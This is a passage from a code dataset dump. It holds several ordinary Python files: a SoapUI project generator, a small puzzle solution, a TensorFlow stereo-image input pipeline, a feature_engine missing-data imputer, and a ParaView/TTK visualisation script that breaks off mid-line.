'con:endpoint')\n\t\t\t\tif 'infrastructure' in str(x[5]):\n\t\t\t\t\tendpointText = 'rki-service'\n\t\t\t\telif 'services-service' in str(x[5]):\n\t\t\t\t\tendpointText = 'organization-service'\n\t\t\t\telif 'capital-repair-service' in str(x[5]):\n\t\t\t\t\tendpointText = 'capital-repair-programs-service'\n\t\t\t\telif 'house-management-service' in str(x[5]):\n\t\t\t\t\tendpointText = 'home-management-service'\n\t\t\t\telif 'organizations-registry-common-service' in str(x[5]):\n\t\t\t\t\tendpointText = 'org-registry-common-service'\n\t\t\t\telif 'disclosure-service-async' in str(x[5]):\n\t\t\t\t\tendpointText = 'information-disclosure-service'\n\t\t\t\telif 'organizations-registry-common-service' in str(x[5]):\n\t\t\t\t\tendpointText = 'org-registry-common-service'\n\t\t\t\telif 'organizations-registry-service' in str(x[5]):\n\t\t\t\t\tendpointText = 'org-registry-service'\n\t\t\t\telse:\n\t\t\t\t\tendpointText = str(x[5])\n\t\t\t\tendpoint.text = host + 'ext-bus-' + endpointText.replace('-async','') + '/services/' + config['ServiceMetod'][bind]\n\t\t\tfor findOperation in root.findall(\"./wsdl:binding/wsdl:operation\", ns):\n\t\t\t\toperation = ETree.SubElement(interface, 'con:operation')\n\t\t\t\toperation.set('id', getguid())\n\t\t\t\toperation.set('isOneWay', 'false')\n\t\t\t\toperation.set('type', 'Request-Response')\n\t\t\t\toperation.set('inputName', '')\n\t\t\t\toperation.set('receivesAttachments', 'false')\n\t\t\t\toperation.set('sendsAttachments', 'false')\n\t\t\t\toperation.set('anonymous', 'optional')\n\t\t\t\toperanionName = findOperation.get('name')\n\t\t\t\toperation.set('action', 'urn:' + operanionName)\n\t\t\t\toperation.set('name', operanionName)\n\t\t\t\toperation.set('bindingOperationName', operanionName)\n\t\t\t\tETree.SubElement(operation, 'con:settings')\n#versionFile = top[top.rfind('v.')+2:top.rfind('\\\\')]\nversionFile = NameFile\nSUIProject.set('name', versionFile)\ntrees = ETree.ElementTree(SUIProject)\ntrees.write(versionFile + '.xml', encoding=\"utf-8\")","sub_path":"SUIPCreator/SUIPCreator.py","file_name":"SUIPCreator.py","file_ext":"py","file_size_in_byte":4250,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"560910691","text":"import sys\n\ndef is_even(num):\n return num % 2 == 0\n\nval = input()\nif int(val) % 2 == 1:\n print(0)\nelse:\n counter = 0\n digits = len(val)\n for i, num in enumerate(val[::-1]):\n if i+1 != digits:\n counter += i * 9\n else:\n counter += i * int(num)\n print(counter)\n","sub_path":"abc_148/e.py","file_name":"e.py","file_ext":"py","file_size_in_byte":312,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"25094419","text":"# Copyright 2016 Google Inc. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ==============================================================================\n\"\"\"Read and preprocess image data.\n\n Image processing occurs on a single image at a time. Image are read and\n preprocessed in parallel across multiple threads. The resulting images\n are concatenated together to form a single batch for training or evaluation.\n\n -- Provide processed image data for a network:\n inputs: Construct batches of evaluation examples of images.\n distorted_inputs: Construct batches of training examples of images.\n batch_inputs: Construct batches of training or evaluation examples of images.\n\n -- Data processing:\n parse_example_proto: Parses an Example proto containing a training example\n of an image.\n\n -- Image preprocessing:\n image_preprocessing: Decode and preprocess one image for evaluation or training\n eval_image: Prepare one image for evaluation.\n\"\"\"\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport tensorflow as tf\n\nFLAGS = tf.app.flags.FLAGS\n\ntf.app.flags.DEFINE_integer('batch_size', 1,\n \"\"\"Number of images to process in a batch.\"\"\")\ntf.app.flags.DEFINE_integer('image_height', 540,\n \"\"\"Provide image_height.\"\"\")\ntf.app.flags.DEFINE_integer('image_width', 960,\n \"\"\"Provide image_width.\"\"\") \ntf.app.flags.DEFINE_integer('cropped_height', 256,\n \"\"\"Provide cropped_height.\"\"\")\ntf.app.flags.DEFINE_integer('cropped_width', 512,\n \"\"\"Provide cropped_width.\"\"\") \ntf.app.flags.DEFINE_integer('depth', 3,\n \"\"\"Provide depth.\"\"\") \ntf.app.flags.DEFINE_integer('num_preprocess_threads', 4,\n \"\"\"Number of preprocessing threads per tower. \"\"\"\n \"\"\"Please make this a multiple of 4.\"\"\")\ntf.app.flags.DEFINE_integer('num_readers', 4,\n \"\"\"Number of parallel readers during train.\"\"\")\n\n# Images are preprocessed asynchronously using multiple threads specified by\n# --num_preprocss_threads and the resulting processed images are stored in a\n# random shuffling queue. The shuffling queue dequeues --batch_size images\n# for processing on a given Inception tower. A larger shuffling queue guarantees\n# better mixing across examples within a batch and results in slightly higher\n# predictive performance in a trained model. Empirically,\n# --input_queue_memory_factor=16 works well. A value of 16 implies a queue size\n# of 1024*16 images. Assuming RGB 299x299 images, this implies a queue size of\n# 16GB. If the machine is memory limited, then decrease this factor to\n# decrease the CPU memory footprint, accordingly.\ntf.app.flags.DEFINE_integer('input_queue_memory_factor', 16,\n \"\"\"Size of the queue of preprocessed images. \"\"\"\n \"\"\"Default is ideal but try smaller values, e.g. \"\"\"\n \"\"\"4, 2 or 1, if host memory is constrained. See \"\"\"\n \"\"\"comments in code for more details.\"\"\")\n\nprint(\"import image processing\")\n\ndef inputs(dataset, batch_size=None, num_preprocess_threads=None):\n \"\"\"Generate batches of SceneFlow images for evaluation.\n\n Use this function as the inputs for evaluating a network.\n\n Note that some (minimal) image preprocessing occurs during evaluation\n including central cropping.\n\n Args:\n dataset: instance of Dataset class specifying the dataset.\n batch_size: integer, number of examples in batch\n num_preprocess_threads: integer, total number of preprocessing threads but\n None defaults to FLAGS.num_preprocess_threads.\n\n Returns:\n left_images, right_images: Images. 4D tensor of size [batch_size, FLAGS.cropped_height,\n cropped_width, 3].\n disparitys, masks: 3D tensor of size [batch_size, FLAGS.cropped_height, cropped_width].\n \"\"\"\n if not batch_size:\n batch_size = FLAGS.batch_size\n\n # Force all input processing onto CPU in order to reserve the GPU for\n # the forward inference and back-propagation.\n with tf.device('/cpu:0'):\n left_images, right_images, disparitys, masks = batch_inputs(\n dataset, batch_size, train=False,\n num_preprocess_threads=num_preprocess_threads,\n num_readers=1)\n return left_images, right_images, disparitys, masks\n\n\ndef distorted_inputs(dataset, batch_size=None, num_preprocess_threads=None):\n \"\"\"Generate batches of distorted versions of SceneFlow images.\n\n Use this function as the inputs for training a network.\n\n Args:\n dataset: instance of Dataset class specifying the dataset.\n batch_size: integer, number of examples in batch\n num_preprocess_threads: integer, total number of preprocessing threads but\n None defaults to FLAGS.num_preprocess_threads.\n\n Returns:\n left_images, right_images: Images. 4D tensor of size [batch_size, FLAGS.cropped_height,\n cropped_width, 3].\n disparitys, masks: 3D tensor of size [batch_size, FLAGS.cropped_height, cropped_width].\n \"\"\"\n if not batch_size:\n batch_size = FLAGS.batch_size\n\n # Force all input processing onto CPU in order to reserve the GPU for\n # the forward inference and back-propagation.\n with tf.device('/cpu:0'):\n left_images, right_images, disparitys, masks = batch_inputs(\n dataset, batch_size, train=True,\n num_preprocess_threads=num_preprocess_threads,\n num_readers=FLAGS.num_readers)\n return left_images, right_images, disparitys, masks\n\n\n\ndef eval_image(image):\n \"\"\"Prepare one image for evaluation. i.e. center cropping\n\n Args:\n image: 3-D float Tensor\n Returns:\n 3-D float Tensor of prepared image.\n \"\"\"\n # Crop the central region of the image with an area containing 87.5% of\n # the original image.\n# image = tf.image.central_crop(image, central_fraction=0.875)\n\n image = tf.expand_dims(image, 0)\n image = tf.image.resize_image_with_crop_or_pad(image, FLAGS.cropped_height, FLAGS.cropped_width)\n image = tf.squeeze(image, [0])\n return image\n\n\ndef image_preprocessing(left_image, right_image, disparity, mask, train):\n \"\"\"Decode and preprocess one image for evaluation or training.\n\n Args:\n left_image, right_image, mask: decoded image, dtype:tf.uint8\n disparity: decoded disparity, dtype:tf.float32\n train: boolean\n\n Returns:\n left_image, right_image, disparity, mask:3-D float Tensors\n all are cropped, \n if training: random crop, \n if testing: center crop\n images are normalized to range [-1, 1]\n \"\"\"\n with tf.name_scope('image_preprocessing'):\n image_shape = tf.stack([FLAGS.image_height, FLAGS.image_width, FLAGS.depth])\n disparity_shape = tf.stack([FLAGS.image_height, FLAGS.image_width, 1])\n \n left_image = tf.reshape(left_image, image_shape)\n right_image = tf.reshape(right_image, image_shape) \n disparity = tf.reshape(disparity, disparity_shape)\n mask = tf.reshape(mask, disparity_shape)\n \n left_image = tf.image.convert_image_dtype(left_image, dtype=tf.float32)\n right_image = tf.image.convert_image_dtype(right_image, dtype=tf.float32)\n mask = tf.cast(mask, tf.float32)\n\n combined = tf.concat([left_image, right_image, disparity, mask], axis=2)\n if train:\n combined_crop = tf.random_crop(combined, [FLAGS.cropped_height, FLAGS.cropped_width, tf.shape(combined)[-1]])\n else:\n combined_crop = eval_image(combined)\n\n left_image = combined_crop[:, :, 0:FLAGS.depth]\n right_image = combined_crop[:, :, FLAGS.depth:FLAGS.depth*2]\n disparity = combined_crop[:, :, FLAGS.depth*2:FLAGS.depth*2+1]\n mask = combined_crop[:, :, FLAGS.depth*2+1:FLAGS.depth*2+2]\n \n # Finally, rescale to [-1,1] instead of [0, 1)\n left_image = tf.subtract(left_image, 0.5)\n left_image = tf.multiply(left_image, 2.0)\n right_image = tf.subtract(right_image, 0.5)\n right_image = tf.multiply(right_image, 2.0)\n\n return left_image, right_image, disparity, mask\n\n\ndef parse_example_proto(example_serialized):\n \"\"\"Parses an Example proto containing a training example of an image.\n\n The output of the build_image_data_SceneFlow.py image preprocessing script is a dataset\n containing serialized Example protocol buffers. Each Example proto contains\n the following fields:\n\n left_image_raw: string containing encoded image in RGB colorspace\n right_image_raw: string containing encoded image in RGB colorspace\n disparity_raw: string containing float formatted grount-truth disparity\n mask_raw: string containing unit8 formatted grount-truth disparity mask\n\n Args:\n example_serialized: scalar Tensor tf.string containing a serialized\n Example protocol buffer.\n\n Returns:\n left_image, right_image, mask: decoded image, dtype:tf.uint8\n disparity: decoded disparity, dtype:tf.float32\n \n \"\"\"\n # Dense features in Example proto.\n feature_map = {\n 'left_image_raw':tf.FixedLenFeature([], tf.string),\n 'right_image_raw':tf.FixedLenFeature([], tf.string),\n 'mask_raw': tf.FixedLenFeature([], tf.string),\n 'disparity_raw': tf.FixedLenFeature([], tf.string),\n 'filename': tf.FixedLenFeature([], tf.string),\n 'relative_dir': tf.FixedLenFeature([], tf.string), \n }\n\n features = tf.parse_single_example(example_serialized, feature_map)\n \n left_image = tf.decode_raw(features['left_image_raw'], tf.uint8)\n right_image = tf.decode_raw(features['right_image_raw'], tf.uint8)\n mask = tf.decode_raw(features['mask_raw'], tf.uint8)\n disparity = tf.decode_raw(features['disparity_raw'], tf.float32)\n \n return left_image, right_image, disparity, mask\n\n\ndef batch_inputs(dataset, batch_size, train, num_preprocess_threads=None,\n num_readers=1):\n \"\"\"Contruct batches of training or evaluation examples from the image dataset.\n\n Args:\n dataset: instance of Dataset class specifying the dataset.\n See dataset.py for details.\n batch_size: integer\n train: boolean\n num_preprocess_threads: integer, total number of preprocessing threads\n num_readers: integer, number of parallel readers\n\n Returns:\n left_images, right_images: Images. 4D tensor of size [batch_size, FLAGS.image_size,\n image_size, 3].\n disparitys, masks: 3D tensor of size [batch_size, FLAGS.image_size, image_size].\n\n Raises:\n ValueError: if data is not found\n \"\"\"\n with tf.name_scope('batch_processing'):\n data_files = dataset.data_files()\n if data_files is None:\n raise ValueError('No data files found for this dataset')\n\n # Create filename_queue\n if train:\n filename_queue = tf.train.string_input_producer(data_files,\n shuffle=True,\n capacity=16)\n else:\n filename_queue = tf.train.string_input_producer(data_files,\n shuffle=False,\n capacity=1)\n if num_preprocess_threads is None:\n num_preprocess_threads = FLAGS.num_preprocess_threads\n\n if num_preprocess_threads % 4:\n raise ValueError('Please make num_preprocess_threads a multiple '\n 'of 4 (%d % 4 != 0).', num_preprocess_threads)\n\n if num_readers is None:\n num_readers = FLAGS.num_readers\n\n if num_readers < 1:\n raise ValueError('Please make num_readers at least 1')\n\n # Approximate number of examples per shard.\n train_examples_per_shard = 35\n eval_examples_per_shard = 303\n # Size the random shuffle queue to balance between good global\n # mixing (more examples) and memory use (fewer examples).\n # 1 image uses 299*299*3*4 bytes = 1MB\n # The default input_queue_memory_factor is 16 implying a shuffling queue\n # size: examples_per_shard * 16 * 1MB = 17.6GB\n min_queue_examples = train_examples_per_shard * FLAGS.input_queue_memory_factor\n if train:\n examples_queue = tf.RandomShuffleQueue(\n capacity=min_queue_examples + 3 * batch_size,\n min_after_dequeue=min_queue_examples,\n dtypes=[tf.string])\n else:\n examples_queue = tf.FIFOQueue(\n capacity=eval_examples_per_shard + 3 * batch_size,\n dtypes=[tf.string])\n\n # Create multiple readers to populate the queue of examples.\n if num_readers > 1:\n enqueue_ops = []\n for _ in range(num_readers):\n reader = dataset.reader()\n _, value = reader.read(filename_queue)\n enqueue_ops.append(examples_queue.enqueue([value]))\n\n tf.train.queue_runner.add_queue_runner(\n tf.train.queue_runner.QueueRunner(examples_queue, enqueue_ops))\n example_serialized = examples_queue.dequeue()\n else:\n reader = dataset.reader()\n _, example_serialized = reader.read(filename_queue)\n\n data = []\n for thread_id in range(num_preprocess_threads):\n # Parse a serialized Example proto to extract the image and metadata.\n left_image, right_image, disparity, mask = parse_example_proto(\n example_serialized)\n left_image, right_image, disparity, mask = image_preprocessing(left_image, right_image, disparity, mask, train)\n data.append([left_image, right_image, disparity, mask])\n\n left_images, right_images, disparitys, masks = tf.train.batch_join(\n data,\n batch_size=batch_size,\n capacity=2 * num_preprocess_threads * batch_size,\n shapes=[[FLAGS.cropped_height, FLAGS.cropped_width, FLAGS.depth], \n [FLAGS.cropped_height, FLAGS.cropped_width, FLAGS.depth], \n [FLAGS.cropped_height, FLAGS.cropped_width, 1],\n [FLAGS.cropped_height, FLAGS.cropped_width, 1]])\n \n# shape_op = tf.shape(left_images)\n\n # Display the training images in the visualizer.\n# tf.summary.image('left_images', left_images)\n# tf.summary.image('right_images', right_images)\n# tf.summary.image('disparity_with_mask', disparitys * masks)\n\n disparitys = tf.squeeze(disparitys, axis=3)\n masks = tf.squeeze(masks, axis=3)\n return left_images, right_images, disparitys, masks\n","sub_path":"reimplement_GC_Net/image_processing.py","file_name":"image_processing.py","file_ext":"py","file_size_in_byte":14811,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"348173846","text":"# Authors: Soledad Galli \n# License: BSD 3 clause\n\nfrom feature_engine.dataframe_checks import _is_dataframe\nfrom feature_engine.imputation.base_imputer import BaseImputer\nfrom feature_engine.parameter_checks import _define_numerical_dict\nfrom feature_engine.variable_manipulation import (\n _define_variables,\n _find_numerical_variables,\n)\n\n\nclass ArbitraryNumberImputer(BaseImputer):\n \"\"\"\n The ArbitraryNumberImputer() replaces missing data in each variable\n by an arbitrary value determined by the user.\n\n Parameters\n ----------\n\n arbitrary_number : int or float, default=999\n the number to be used to replace missing data.\n\n variables : list, default=None\n The list of variables to be imputed. If None, the imputer will find and\n select all numerical type variables. Attribute is used only if `imputer_dict`\n attribute is None.\n\n imputer_dict: dict, default=None\n The dictionary of variables and their arbitrary numbers. If imputer_dict is\n not None, it has to be dictionary with all values of integer or float type.\n If None, `variables` attribute is used for imputation.\n \"\"\"\n\n def __init__(self, arbitrary_number=999, variables=None, imputer_dict=None):\n\n if isinstance(arbitrary_number, int) or isinstance(arbitrary_number, float):\n self.arbitrary_number = arbitrary_number\n else:\n raise ValueError(\"arbitrary_number must be numeric of type int or float\")\n\n self.variables = _define_variables(variables)\n\n self.imputer_dict = _define_numerical_dict(imputer_dict)\n\n def fit(self, X, y=None):\n \"\"\"\n Checks that the variables are numerical.\n\n Parameters\n ----------\n\n X : pandas dataframe of shape = [n_samples, n_features]\n The training input samples.\n User can pass the entire dataframe, not just the variables to impute.\n\n y : None\n y is not needed in this imputation. You can pass None or y.\n\n\n Attributes\n ----------\n\n imputer_dict_: dictionary\n The dictionary containing the values that will replace each variable.\n \"\"\"\n # check input dataframe\n X = _is_dataframe(X)\n\n # find or check for numerical variables\n if self.imputer_dict:\n self.variables = _find_numerical_variables(X, self.imputer_dict.keys())\n else:\n self.variables = _find_numerical_variables(X, self.variables)\n\n # create the imputer dictionary\n if self.imputer_dict:\n self.imputer_dict_ = self.imputer_dict\n else:\n self.imputer_dict_ = {var: self.arbitrary_number for var in self.variables}\n\n self.input_shape_ = X.shape\n\n return self\n\n # Ugly work around to import the docstring for Sphinx, otherwise not necessary\n def transform(self, X):\n X = super().transform(X)\n return X\n\n transform.__doc__ = BaseImputer.transform.__doc__\n","sub_path":"feature_engine/imputation/arbitrary_number.py","file_name":"arbitrary_number.py","file_ext":"py","file_size_in_byte":3019,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"542733586","text":"from paraview.simple import *\nif len(sys.argv) >= 2:\n\toutputDirectory = sys.argv[1] + '/'\n\tif len(sys.argv) == 3:\n\t\tdebugLevel = sys.argv[2]\n\telse:\n\t\tdebugLevel = 0\nelse:\n\tprint('Missing output directory')\n\tsys.exit()\nif debugLevel != 0:\n\tprint(' Debug level: ' + debugLevel)\n# state file generated using paraview version 5.6.0\n\n# ----------------------------------------------------------------\n# setup views used in the visualization\n# ----------------------------------------------------------------\n\n# trace generated using paraview version 5.6.0\n#\n# To ensure correct image size when batch processing, please search \n\n#### import the simple module from the paraview\nfrom paraview.simple import *\n#### disable automatic camera reset on 'Show'\nparaview.simple._DisableFirstRenderCameraReset()\n\n# Create a new 'Render View'\n\n# init the 'GridAxes3DActor' selected for 'AxesGrid'\n\n# ----------------------------------------------------------------\n# restore active view\n# ----------------------------------------------------------------\n\n# ----------------------------------------------------------------\n# setup the data processing pipelines\n# ----------------------------------------------------------------\n\n# create a new 'XML Image Data Reader'\ntimeTrackingvti = XMLImageDataReader(FileName=['timeTracking.vti'])\ntimeTrackingvti.CellArrayStatus = []\ntimeTrackingvti.PointArrayStatus = ['000', '002', '004', '006', '008', '010', '012', '014', '016', '018', '020', '022', '024', '026', '028', '030', '032', '034', '036', '038', '040', '042', '044', '046', '048', '050', '052', '054', '056', '058', '060', '062', '064', '066', '068', '070', '072', '074', '076', '078', '080', '082', '084', '086', '088', '090', '092', '094', '096', '098', '100', '102', '104', '106', '108', '110', '112', '114', '116', '118']\n\n# create a new 'TTK PointDataSelector'\ntTKPointDataSelector2 = TTKPointDataSelector(Input=timeTrackingvti)\ntTKPointDataSelector2.ScalarFields = ['000']\ntTKPointDataSelector2.Renameselectedfield = 1\n\n# create a new 'TTK TrackingFromFields'\ntTKTrackingFromFields1 = TTKTrackingFromFields(Input=timeTrackingvti)\ntTKTrackingFromFields1.ForceZtranslation = 1\ntTKTrackingFromFields1.ZTranslation = 0.125\n\n# create a new 'Threshold'\nlatefeatures = Threshold(Input=tTKTrackingFromFields1)\nlatefeatures.Scalars = ['POINTS', 'TimeStep']\nlatefeatures.ThresholdRange = [55.0, 58.0]\n\n# create a new 'Extract Surface'\nextractSurface2 = ExtractSurface(Input=tTKTrackingFromFields1)\n\n# create a new 'Tube'\ntube2 = Tube(Input=extractSurface2)\ntube2.Scalars = ['POINTS', 'ConnectedComponentId']\ntube2.Vectors = [None, '']\ntube2.Radius = 0.025\n\n# create a new 'Transform'\ntransform2 = Transform(Input=timeTrackingvti)\ntransform2.Transform = 'Transform'\n\n# init the 'Transform' selected for 'Transform'\ntransform2.Transform.Translate = [0.0, 0.0, 3.5]\n\n# create a new 'Tetrahedralize'\ntetrahedralize2 = Tetrahedralize(Input=transform2)\n\n# create a new 'TTK PointDataSelector'\ntTKPointDataSelector3 = TTKPointDataSelector(Input=tetrahedralize2)\ntTKPointDataSelector3.ScalarFields = ['056']\ntTKPointDataSelector3.Renameselectedfield = 1\n\n# create a new 'TTK PersistenceDiagram'\ntTKPersistenceDiagram2 = TTKPersistenceDiagram(Input=tTKPointDataSelector3)\ntTKPersistenceDiagram2.ScalarField = 'SelectedField'\ntTKPersistenceDiagram2.InputOffsetField = 'SelectedField'\ntTKPersistenceDiagram2.EmbedinDomain = 1\n\n# create a new 'Transform'\ntransform1 = Transform(Input=timeTrackingvti)\ntransform1.Transform = 'Transform'\n\n# init the 'Transform' selected for 'Transform'\ntransform1.Transform.Translate = [0.0, 0.0, 7.375]\n\n# create a new 'Tetrahedralize'\ntetrahedralize1 = Tetrahedralize(Input=transform1)\n\n# create a new 'TTK PointDataSelector'\ntTKPointDataSelector1 = TTKPointDataSelector(Input=tetrahedralize1)\ntTKPointDataSelector1.ScalarFields = ['118']\ntTKPointDataSelector1.Renameselectedfield = 1\n\n# create a new 'TTK PersistenceDiagram'\ntTKPersistenceDiagram1 = TTKPersistenceDiagram(Input=tTKPointDataSelector1)\ntTKPersistenceDiagram1.ScalarField = 'SelectedField'\ntTKPersistenceDiagram1.InputOffsetField = 'SelectedField'\ntTKPersistenceDiagram1.EmbedinDomain = 1\n\n# create a new 'Threshold'\nthreshold1 = Threshold(Input=tTKPersistenceDiagram1)\nthreshold1.Scalars = ['CELLS', 'Persistence']\nthreshold1.ThresholdRange = [0.5, 44.9597725588668]\n\n# create a new 'TTK SphereFromPoint'\ntTKSphereFromPoint1 = TTKSphereFromPoint(Input=threshold1)\ntTKSphereFromPoint1.Radius = 0.075\n\n# create a new 'Threshold'\nthreshold2 = Threshold(Input=tTKSphereFromPoint1)\nthreshold2.Scalars = ['POINTS', 'CriticalType']\n\n# create a new 'Threshold'\nthreshold4 = Threshold(Input=tTKPersistenceDiagram2)\nthreshold4.Scalars = ['CELLS', 'Persistence']\nthreshold4.ThresholdRange = [0.5, 44.5332099569223]\n\n# create a new 'TTK SphereFromPoint'\ntTKSphereFromPoint2 = TTKSphereFromPoint(Input=threshold4)\ntTKSphereFromPoint2.Radius = 0.075\n\n# create a new 'Threshold'\nthreshold5 = Threshold(Input=tTKSphereFromPoint2)\nthreshold5.Scalars = ['POINTS', 'CriticalType']\n\n# create a new 'Threshold'\nthreshold6 = Threshold(Input=tTKSphereFromPoint2)\nthreshold6.Scalars = ['POINTS', 'CriticalType']\nthreshold6.ThresholdRange = [3.0, 3.0]\n\n# create a new 'Threshold'\nthreshold3 = Threshold(Input=tTKSphereFromPoint1)\nthreshold3.Scalars = ['POINTS', 'CriticalType']\nthreshold3.ThresholdRange = [3.0, 3.0]\n\n# create a new 'Threshold'\nearlyfeatures = Threshold(Input=tTKTrackingFromFields1)\nearlyfeatures.Scalars = ['POINTS', 'TimeStep']\nearlyfeatures.ThresholdRange = [0.0, 55.0]\n\n# create a new 'Threshold'\nlongtrajectories = Threshold(Input=earlyfeatures)\nlongtrajectories.Scalars = ['CELLS', 'ComponentLength']\nlongtrajectories.ThresholdRange = [5.0, 60.0]\n\n# create a new 'Append Datasets'\nappendDatasets1 = AppendDatasets(Input=[longtrajectories, latefeatures])\n\n# create a new 'Extract Surface'\nextractSurface1 = ExtractSurface(Input=appendDatasets1)\n\n# create a new 'Tube'\ntube1 = Tube(Input=extractSurface1)\ntube1.Scalars = ['POINTS', 'ConnectedComponentId']\ntube1.Vectors = [None, '']\ntube1.Radius = 0.025\n\n# ----------------------------------------------------------------\n# ----------------------------------------------------------------\n\n# show data from tTKPointDataSelector1\n\n# get color transfer function/color map for 'SelectedField'\nselectedFieldLUT = GetColorTransferFunction('SelectedField')\nselectedFieldLUT.RGBPoints = [-22.0015973664814, 0.0, 0.129412, 0.584314, -4.49752408306022, 0.0, 0.129412, 0.584314, 0.481469098741833, 0.917647, 0.941176, 0.788235, 4.50374912943535, 0.0, 0.431373, 0.0, 22.9645355639652, 0.0, 0.431373, 0.0]\nselectedFieldLUT.ColorSpace = 'RGB'\nselectedFieldLUT.NanColor = [0.0, 0.0, 0.0]\nselectedFieldLUT.ScalarRangeInitialized = 1.0\n\n# get opacity transfer function/opacity map for 'SelectedField'\nselectedFieldPWF = GetOpacityTransferFunction('SelectedField')\nselectedFieldPWF.Points = [-22.0015973664814, 0.0, 0.5, 0.0, 22.9645355639652, 1.0, 0.5, 0.0]\nselectedFieldPWF.ScalarRangeInitialized = 1\n\n# trace defaults for the display properties.\n\n# init the 'PiecewiseFunction' selected for 'ScaleTransferFunction'\n\n# init the 'PiecewiseFunction' selected for 'OpacityTransferFunction'\n\n# init the 'GridAxesRepresentation' selected for 'DataAxesGrid'\n\n# init the 'PolarAxesRepresentation' selected for 'PolarAxes'\n\n# show data from tTKPointDataSelector2\n\n# trace defaults for the display properties.\n\n# init the 'PiecewiseFunction' selected for 'ScaleTransferFunction'\n\n# init the 'PiecewiseFunction' selected for 'OpacityTransferFunction'\n\n# init the 'GridAxesRepresentation' selected for 'DataAxesGrid'\n\n# init the 'PolarAxesRepresentation' selected for 'PolarAxes'\n\n# show data from threshold2\n\n# get color transfer function/color map for 'CriticalType'\ncriticalTypeLUT = GetColorTransferFunction('CriticalType')\ncriticalTypeLUT.RGBPoints = [0.0, 0.0, 0.129412, 0.584314, 1.500244140625, 0.917647, 0.941176, 0.788235, 3.00048828125, 0.0, 0.431373, 0.0]\ncriticalTypeLUT.ColorSpace = 'RGB'\ncriticalTypeLUT.NanColor = [0.0, 0.0, 0.0]\ncriticalTypeLUT.ScalarRangeInitialized = 1.0\n\n# get opacity transfer function/opacity map for 'CriticalType'\ncriticalTypePWF = GetOpacityTransferFunction('CriticalType')\ncriticalTypePWF.Points = [0.0, 0.0, 0.5, 0.0, 3.00048828125, 1.0, 0.5, 0.0]\ncriticalTypePWF.ScalarRangeInitialized = 1\n\n# trace defaults for the display properties.\n\n# init the 'PiecewiseFunction' selected for 'ScaleTransferFunction'\n\n# init the 'PiecewiseFunction' selected for 'OpacityTransferFunction'\n\n# init the 'GridAxesRepresentation' selected for 'DataAxesGrid'\n\n# init the 'PolarAxesRepresentation' selected for 'PolarAxes'\n\n# show data from threshold3\n\n# trace defaults for the display properties.\n\n# init the 'PiecewiseFunction' selected for 'ScaleTransferFunction'\n\n# init the 'PiecewiseFunction' selected for 'OpacityTransferFunction'\n\n# init the 'GridAxesRepresentation' selected for 'DataAxesGrid'\n\n# init the 'PolarAxesRepresentation' selected for 'PolarAxes'\n\n# show data from tTKPointDataSelector3\n\n# trace defaults for the display properties.\n\n# init the 'PiecewiseFunction' selected for 'ScaleTransferFunction'\n\n# init the 'PiecewiseFunction' selected for 'OpacityTransferFunction'\n\n# init the 'GridAxesRepresentation' selected for 'DataAxesGrid'\n\n# init the 'PolarAxesRepresentation' selected for 'PolarAxes'\n\n# show data from threshold5\n\n# trace defaults for the display properties.\n\n# init the 'PiecewiseFunction' selected for 'ScaleTransferFunction'\n\n# init the 'PiecewiseFunction' selected for 'OpacityTransferFunction'\n\n# init the 'GridAxesRepresentation' selected for 'DataAxesGrid'\n\n# init the 'PolarAxesRepresentation' selected for 'PolarAxes'\n\n# show data from threshold6\n\n# trace defaults for the display properties.\n\n# init the 'PiecewiseFunction' selected for 'ScaleTransferFunction'\n\n# init the 'PiecewiseFunction' selected for 'OpacityTransferFunction'\n\n# init the 'GridAxesRepresentation' selected for 'DataAxesGrid'\n\n# init the 'PolarAxesRepresentation' selected for 'PolarAxes'\n\n# show data from tube1\n\n# trace defaults for the display properties.\n\n# init the 'PiecewiseFunction' selected for 'ScaleTransferFunction'\n\n# init the 'PiecewiseFunction' selected for 'OpacityTransferFunction'\n\n# init the 'GridAxesRepresentation' selected for 'DataAxesGrid'\n\n# init the 'PolarAxesRepresentation' selected for 'PolarAxes'\n\n# show data from tube2\n\n# trace defaults for the display properties.\n\n# init the 'PiecewiseFunction' selected for 'ScaleTransferFunction'\n\n# init the 'PiecewiseFunction' selected for 'OpacityTransferFunction'\n\n# init the 'GridAxesRepresentation' selected for 'DataAxesGrid'\n\n# init the 'PolarAxesRepresentation' selected for 'PolarAxes'\n\n# ----------------------------------------------------------------\n# setup color maps and opacity mapes used in the visualization\n# note: the Get..() functions create a new object, if needed\n# ----------------------------------------------------------------\n\n# ----------------------------------------------------------------\n# finally, restore active source\nSetActiveSource(None)\n# ----------------------------------------------------------------\n\ntTKPointDataSelector2.DebugLevel = int(debugLevel)\nif tTKPointDataSelector2.GetNumberOfOutputPorts() != 1:\n\tfor i in range(0, tTKPointDataSelector2.GetNumberOfOutputPorts()):\n\t\tSaveData(outputDirectory + 'tTKPointDataSelector2_' + str(i) + '.vtu',\n\t\t\tCleantoGrid(OutputPort(tTKPointDataSelector2, i)))\nelse:\n\tSaveData(outputDirectory + 'tTKPointDataSelector2.vtu',\n\t\tCleantoGrid(OutputPort(tTKPointDataSelector2)))\n\n\ntTKTrackingFromFields1.DebugLevel = int(debugLevel)\nif tTKTrackingFromFields1.GetNumberOfOutputPorts() != 1:\n\tfor i in range(0, tTKTrackingFromFields1.GetNumberOfOutputPorts()):\n\t\tSaveData(outputDirectory + 'tTKTrackingFromFields1_' + str(i) + '.vtu',\n\t\t\tCleantoGrid(OutputPort(tTKTrackingFromFields1, i)))\nelse:\n\tSaveData(outputDirectory + 'tTKTrackingFromFields1.vtu',\n\t\tCleantoGrid(OutputPort(tTKTrackingFromFields1)))\n\n\ntTKPointDataSelector3.DebugLevel = int(debugLevel)\nif tTKPointDataSelector3.GetNumberOfOutputPorts() != 1:\n\tfor i in range(0, 